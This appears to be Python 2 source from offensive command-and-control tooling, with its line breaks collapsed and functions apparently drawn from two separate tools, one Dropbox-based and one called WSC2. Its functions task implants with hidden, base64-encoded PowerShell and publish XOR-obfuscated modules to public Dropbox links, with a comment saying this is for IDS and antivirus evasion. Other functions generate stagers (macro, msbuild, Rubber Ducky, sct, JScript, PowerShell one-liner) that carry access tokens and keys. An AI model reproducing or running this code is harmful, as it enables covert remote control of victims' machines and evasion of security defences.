def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact=False): # Construct the powershell code from a template, substituting palceholders with proper parameters xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") parameters = { 'xorKey': xorKey, 'moduleURL': self.statusHandler.publishedModuleList[moduleName] } poshCmd = helpers.convertFromTemplate( parameters, cfg.defaultPath['runPSModuleTpl']) if poshCmd == None: return # Add module arguments if ever if moduleArgs: poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format( moduleArgs) # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode if interact: self.taskAgentWithShell(poshCmd) else: task = self.statusHandler.createTask(self.agentID, "runPSModule", args=[moduleName, moduleArgs]) # Turn the powershell code into a suitable powershell base64 encoded one line command base64Payload = helpers.powershellEncode(poshCmd) # Create the final command cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format( base64Payload) # Prepare the task format, then put the task into the command file data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16)) r = self.dropboxHandler.putFile( self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey)) if r is not None: # Commit this task for the current agent self.statusHandler.commitTask(task) print helpers.color( "[+] Agent with ID [{}] has been tasked with task ID [{}]". format(self.agentID, task['id'])) else: print helpers.color( "[!] Error tasking agent with ID [{}]".format( self.agentID))
def publishModule(self, moduleLocalPath, moduleName): print helpers.color( "[*] Publishing [{}] to the C2 server".format(moduleLocalPath)) remoteFilePath = "/" + moduleName + ".mm" # Get a SHA256 hash value of the master key # (!!) : Because we use XOR for obfuscating the stage (not proper encryption, just for IDS / AV evasion), # it would not be wise to use the master key that is also used for end-to-end data encryption xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256") # XOR Encrypt the module and then upload it to the C2 server try: with open(moduleLocalPath) as moduleFileHandle: r = self.dropboxHandler.putFile( remoteFilePath, Crypto.xor(bytearray(moduleFileHandle.read()), xorKey)) moduleFileHandle.close() if r is None: return else: print helpers.color( "[*] Module XOR encrypted with key [{}] and successfully published" .format(xorKey)) except IOError: print helpers.color( "[!] Could not open or read file [{}]".format(moduleLocalPath)) return # Share the file with a public URL and retrieve the URL r = self.dropboxHandler.shareFile(remoteFilePath) if r is None: return # Get the public URL from the answer try: moduleURL = r['url'].replace("dl=0", "dl=1") self.statusHandler.addModule(moduleName, moduleURL) print helpers.color( "[*] Module successfully shared with public URL [{}]".format( moduleURL)) except KeyError: print helpers.color( "[!] Error parsing JSON looking for 'url' entry") print helpers.color( "[!] Stage has NOT been shared as a public URL")
def genStager(self, stagerType, stageName): # These are the common parameters required by the various stager (powershell or other) script stagerParameters = { 'stagePublicURL': self.statusHandler.publishedStageList[stageName], 'xorKey': Crypto.convertKey(self.statusHandler.masterKey, outputFormat="sha256"), 'masterKey': helpers.b64encode(self.statusHandler.masterKey), 'accessToken': self.dropboxHandler.token } if stagerType == "oneliner": print print helpers.color(stagers.GenStager.oneLiner(stagerParameters), 'green') print print helpers.color( "[*] HINT: You can use this powershell oneliner as is, or with one of the fantastic 'Nishang' client side attack vector generator" ) return elif stagerType == "batch": stagers.GenStager.batch(stagerParameters) return elif stagerType == "batch2": stagers.GenStager.batch2(stagerParameters) return elif stagerType == "macro": stagers.GenStager.macro(stagerParameters) return elif stagerType == "msbuild": stagers.GenStager.msbuild(stagerParameters) return elif stagerType == "javascript": stagers.GenStager.javascript(stagerParameters) return elif stagerType == "ducky": stagers.GenStager.ducky(stagerParameters) return elif stagerType == "sct": stagers.GenStager.sct(stagerParameters) return
def do_genStager(self, args): """genStager <jscript1|jscript2|jscript3>\nGenerates a stager of the selected type""" # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: genStager <stager_name>") return # Retrieve the type of stager to generate stagerType = args.split()[0] # Check it is a supported type of stager if stagerType not in ['jscript1', 'jscript2', 'jscript3', 'psoneliner']: print helpers.color("[!] Invalid stager type") return # Common parameters for stager generation params = {'callbackURL': config.CALLBACK, 'port': config.PORT, 'prefix': config.IDPREFIX} #---- Generate stager jscript1 if stagerType == 'jscript1': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent1_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent1.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript2 elif stagerType == 'jscript2': stager = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent2.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager jscript3 elif stagerType == 'jscript3': stager2 = helpers.convertFromTemplate(params, 'templates/wsc2Agent2_js.tpl') stager2Encoded = helpers.b64encode(stager2) stager = helpers.convertFromTemplate({'encoded': stager2Encoded}, 'templates/wsc2Agent3_js.tpl') stagerFileName = config.STAGERFILES + '/wsc2Agent3.js' try: with open(stagerFileName, 'w+') as fileHandle: fileHandle.write(stager) fileHandle.close() print helpers.color("[+] Stager created as [{}]".format(stagerFileName)) except IOError: print helpers.color("[!] Could not create stager file [{}]".format(stagerFileName)) #---- Generate stager psoneliner elif stagerType == 'psoneliner': # Get bytes from the .Net assembly WSC2 agent try: with open(config.AGENTRELEASE) as fileHandle: agentBytes = bytearray(fileHandle.read()) fileHandle.close() except IOError: print helpers.color("[!] Could not read agent release file [{}]".format(config.AGENTRELEASE)) # We'll simply use the sha256 hash of the password as the XOR encryption key xorKey = Crypto.convertKey(config.XORPASSWORD, outputFormat = "sha256") # Write the XOR encrypted agent file in the web static delivery folder try: with open(config.STATICFILES+'/'+'agent.txt' , 'w+') as fileHandle: fileHandle.write(Crypto.xor(agentBytes, xorKey)) fileHandle.close() except IOError: print helpers.color("[!] Could not write xor encrypted agent file [{}]".format(config.STATICFILES+'/'+'agent.txt')) return params['xorKey'] = xorKey posh = helpers.convertFromTemplate(params, 'templates/posh.tpl') print helpers.color("[+] Powershell one liner:") print "powershell.exe -NoP -sta -NonI -W Hidden -e {}".format(helpers.powershellEncode(posh))